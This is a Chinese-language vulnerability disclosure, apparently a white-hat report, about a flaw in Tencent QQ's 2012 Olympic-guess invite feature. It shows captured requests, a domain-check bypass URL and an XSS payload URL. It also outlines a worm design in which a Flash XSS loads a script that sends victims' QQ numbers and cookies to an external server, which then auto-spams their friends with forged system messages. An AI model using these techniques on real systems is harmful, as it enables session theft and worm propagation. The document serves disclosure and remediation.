QQ某处页面存在缺陷,导致我们可以恶意推送QQ系统消息,但是单纯的推送消息并不能太实质性的危害!但是,如果这个“系统消息”的链接能够被我们修改为我们自定义的页面的话,那就危险了! 在自定义的页面内,结合一个FLASH XSS,进而自动获取用户的好友列表,自动给受害者的好友推送恶意的“系统消息”! 想想看,那会是一个什么效果? 当XSS蠕虫结合腾讯的系统消息功能,会是个什么疯狂的效果呢? 可惜,我们是白帽子,无法去实际测试会产生的恐怖后果 ,但是利用过程中的一些思路却可以被借鉴。
1. 首先是我们全宇宙最帅的男人only_guest发现在QQ奥运竞猜处,可以无限给好友发送邀请消息,而且可以自定义消息窗口的内容。这样一来,我们就可以给好友发送一些虚假公告,或者是一些搞笑的“鄙视“信息。
2. 但是如果仅仅是这样的话,只能算是一个鸡肋,甚至都算不上是一个安全漏洞了!
3. QQ系统消息是可以点击进去查看详情的,如果我们可以把这个链接都改为自己的呢?那么造成的危害将会瞬间升级!
4. 带着这个思路,我们可以开始对“奥运竞猜邀请”这个模块进行抓包分析。
5. 经过抓包,我们可以看到给好友发送一个邀请,主要是2步~
5.1 获取好友列表的请求
http://apps.2012.qq.com/guess/friends/list?url=http%3A%2F%2Fapps.2012.qq.com%2Fguess%2Fguess-tid-18-id-363&message=%E5%A5%B3%E7%AF%AE%E5%B0%8F%E7%BB%84%E8%B5%9B-%E4%B8%AD%E5%9B%BDvs%E5%AE%89%E5%93%A5%E6%8B%89%EF%BC%8C%E8%B0%81%E5%B0%86%E8%8E%B7%E8%83%9C%EF%BC%9F
Query String:
url http://apps.2012.qq.com/guess/guess-tid-18-id-363
message 女篮小组赛-中国vs安哥拉,谁将获胜?
在这个请求中,我们看到,有“系统消息”里点击的那个链接。那么这个链接出现在这个请求里有什么用呢? 我们看看这个请求里的源码。会看到以下内容:
<script type=”text/javascript”>
//邀提Url
_MI.invate.invateUrl = “/guess/friends/invite?url=http%3A%2F%2Fapps.2012.qq.com%2Fguess%2Fguess-tid-18-id-363&hash=bc85ea9ed27178416dfe984ef58fb657″;
_MI.invate.maxNumber = 5;
var message=”女篮小组赛-中国vs安哥拉,谁将获胜?”;
var uin=”22871560″;
var invateUrl=”http://apps.2012.qq.com/guess/guess-tid-18-id-363“;
window.onload =function(){_MI.invate.run(message,uin);}
</script>
我们可以看到,在这段代码里,有invateUrl (这个单词是不是写错了,invite?),还有invateUrl对应的hash 而在下一个请求5.2中,正好又用到了这个hash值。
5.2 给好友发送邀请的请求。
POST方式:
http://apps.2012.qq.com/guess/friends/invite?url=http%3A%2F%2Fapps.2012.qq.com%2Fguess%2Fguess-tid-18-id-363&hash=bc85ea9ed27178416dfe984ef58fb657
Query String:
url http://apps.2012.qq.com/guess/guess-tid-18-id-363
hash bc85ea9ed27178416dfe984ef58fb657 <— 5.1 步骤中得到的hash值
Post Data
uin0 86****0
nickname0 小号1号
token0 12a0d8a2b3d9c
6. 经过以上抓包分析,我们不难做出以下开发逻辑的猜测:
6.1 首先通过http://apps.2012.qq.com/guess/friends/list得到好友的QQ号码,token值,以及被邀请竞猜的URL以及URL对应的HASH值
6.2 利用6.1中得到的数据给用户发送邀请
7. 那么,我们将第一步url里的http://apps.2012.qq.com/guess/guess-tid-18-id-363修改成我们自己的呢?于是我们测试,将url修改为http://pkav.net,得不到返回结果。
8. 看来这里对域名进行了判断过滤, 那么我们找一个同域名下的XSS试一下吧~
http://apps.2012.qq.com/guess/friends/list?url=http%3A%2F%2Fapps.2012.qq.com%2Fguess%2Fguess-tid-18-id-363″;alert(1)//&message=ok
10. 不幸的是,上面这个XSS URL通过了5.1步,但是在5.2步,由于长度限制,返回了错误。
11. 那么这里到底限制了多少长度呢?为了方便测试,用俺的魔盒(http://www.toolmao.com)写了一个利用程序进行了测试。
12. 随后我将这个程序发送给了only_guest, 过一会,他发现在5.1这个步骤上,QQ的域名判断存在问题,用http://pkav.net/#.qq.com/?http://1.qq.com一样可以发送成功。 看来QQ在这里的判断正则写的不到位?或者是indexOf(“qq.com”)的方式检测?
13. 这样一来,我们就可以向自己的好友推送恶意的“系统消息”,并且用户点击系统消息后,会打开我们所设置的链接,http://pkav.net,如下图:
14. 当然这个还不算什么, 如果把这个系统消息推送,再配合一个QQ的XSS,效果该如何呢? 因为FLASH XSS具有独特的优势(http://zone.wooyun.org/content/368),我就去腾讯的域名下找一个FLASH XSS,然后进行下一步的利用。
15. 利用思路可以用下图表示:
16. 按照上面的思路,我们可以写一下利用代码!
16.1 首先是FLASH XSS的利用代码。
@see http://itsokla.duapp.com/aoyun_js.php.txt
16.2 FLASH XSS会调用我们的JS文件。
@see http://itsokla.duapp.com/aoyun_worm.js
16.3 aoyun_worm.js会将用户的QQ号码和cookies发送给aoyun_receive.php
@see http://itsokla.duapp.com/aoyun_receive.php.txt
16.4 aoyun_receive.php 就会利用用户的cookies向用户的好友自动推送消息。
这里用mysql来存储了以及推送过的QQ号码,防止对同一个用户的全部好友进行多次重复推送。
漏洞证明:
用我的大号打开危害页面后,可以看到大号在不知情的情况下,自动对我的好友小号发送了恶意的“系统消息”
漏洞修复:
1. 等奥运结束,活动下线即可
2. 对推送消息处的域名判断做审查并修改
3. 对消息推送次数做限制
4. 修复FLASH XSS,不修复也可以 ,留着我下次再用吧~~
|